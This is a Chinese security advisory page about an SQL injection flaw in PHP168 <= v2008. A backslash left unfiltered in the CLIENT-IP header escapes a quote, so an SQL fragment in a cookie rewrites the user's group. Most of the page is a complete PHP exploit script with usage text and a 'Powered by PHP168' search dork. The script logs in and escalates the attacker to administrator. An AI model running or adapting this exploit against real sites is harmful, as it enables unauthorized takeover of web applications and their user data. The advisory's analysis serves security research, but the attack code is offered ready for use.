|
发布时间:2009-02-09
漏洞描述:
简单分析下这个漏洞
common.inc.php
if($_SERVER['HTTP_CLIENT_IP']){
$onlineip=$_SERVER['HTTP_CLIENT_IP'];
}elseif($_SERVER['HTTP_X_FORWARDED_FOR']){
$onlineip=$_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$onlineip=$_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_replace(”/^([\d\.]+).*/”, ”\\1″, filtrate($onlineip));
//这个地方使用preg_replace存在着安全隐患,之前就暴过漏洞,官方修补的方法是用filtrate函数处理了下$onlineip看一下filtrate函数是怎么处理的
function.inc.php
function filtrate($msg){
$msg = str_replace('&','&',$msg);
$msg = str_replace(' ',' ',$msg);
$msg = str_replace('"','"',$msg);
$msg = str_replace("'",''',$msg);
$msg = str_replace("<","<",$msg);
$msg = str_replace(">",">",$msg);
$msg = str_replace("\t"," ",$msg);
$msg = str_replace("\r","",$msg);
$msg = str_replace(" "," ",$msg);
return $msg;
}
过滤了
'"<
等,但是没有处理\
common.inc.php
if($usr_oltime>30||!$usr_oltime){
$usr_oltime>600 && $usr_oltime=600;
include(PHP168_PATH."php168/level.php");
if( isset($memberlevel[$lfjdb[groupid]]) ){
$SQL=”,groupid=8″;
$lfjdb[money]=get_money($lfjuid);
foreach( $memberlevel AS $key=>$value){
if($lfjdb[money]>=$value){
$SQL=”,groupid=$key”;
}
}
}else{
$SQL=”";
}
$db->query(”UPDATE {$pre}memberdata SET lastvist=’$timestamp’,lastip=’$onlineip’,oltime=oltime+’$usr_oltime’$SQL WHERE uid=’$lfjuid’”);
//因为这个地方是拼接字符串的形式,所以可以使用\来转义’,然后利用$usr_oltime来注射:)
另外要注意的是$usr_oltime有一个简单的判断的,而且还要保证sql语句的语法正确,看下我构造的语句:
UPDATE {$pre}memberdata SET lastvist='$timestamp',lastip='[\]‘,oltime=oltime+’[+31,groupid=3,introduce=0x70757265745f74 WHERE uid=2#]‘$SQL WHERE uid=’$lfjuid’
安全建议:
暂无
Php168
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
<?php
print_r('
+---------------------------------------------------------------------------+
Php168 <= v2008 update user access exploit
by puret_t
mail: puretot at gmail dot com
team: http://www.wolvez.org
dork: "Powered by PHP168"
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 5) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].’ host path user pass
host: target server (ip/hostname)
path: path to php168
user: login username
pass: login password
Example:
php ’.$argv[0].’ localhost /php168/
+—————————————————————————+
‘);
exit;
}
error_reporting(7);
ini_set(’max_execution_time’, 0);
$host = $argv[1];
$path = $argv[2];
$user = $argv[3];
$pass = $argv[4];
$resp = send();
preg_match(’/Set-Cookie:\s(passport=([0-9]{1,4})%09[a-zA-Z0-9%]+)/’, $resp, $cookie);
if ($cookie)
if (strpos(send(), ’puret_t’) !== false)
exit(”Expoilt Success!\nYou Are Admin Now!\n”);
else
exit(”Exploit Failed!\n”);
else
exit(”Exploit Failed!\n”);
function rands($length = 8)
{
$hash = ”;
$chars = ’ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz’;
$max = strlen($chars) - 1;
mt_srand((double)microtime() * 1000000);
for ($i = 0; $i < $length; $i++)
$hash .= $chars[mt_rand(0, $max)];
return $hash;
}
function send()
{
global $host, $path, $user, $pass, $cookie;
if ($cookie) {
$cookie[1] .= ’;USR=’.rands().”\t%2b31,groupid=3,introduce=0×70757265745f74 WHERE uid=$cookie[2]#\t\t”;
$cmd = ”;
$message = ”POST ”.$path.”member/userinfo.php HTTP/1.1\r\n”;
$message .= ”Accept: */*\r\n”;
$message .= ”Accept-Language: zh-cn\r\n”;
$message .= ”Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= ”User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= ”CLIENT-IP: ryat\\\r\n”;
$message .= ”Host: $host\r\n”;
$message .= ”Content-Length: ”.strlen($cmd).”\r\n”;
$message .= ”Connection: Close\r\n”;
$message .= ”Cookie: ”.$cookie[1].”\r\n\r\n”;
$message .= $cmd;
} else {
$cmd = ”username=$user&password=$pass&step=2″;
$message = ”POST ”.$path.”login.php HTTP/1.1\r\n”;
$message .= ”Accept: */*\r\n”;
$message .= ”Accept-Language: zh-cn\r\n”;
$message .= ”Content-Type: application/x-www-form-urlencoded\r\n”;
$message .= ”User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n”;
$message .= ”Host: $host\r\n”;
$message .= ”Content-Length: ”.strlen($cmd).”\r\n”;
$message .= ”Connection: Close\r\n\r\n”;
$message .= $cmd;
}
$fp = fsockopen($host, 80);
fputs($fp, $message);
$resp = ”;
while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
return $resp;
}
|
推荐
评论(0条)
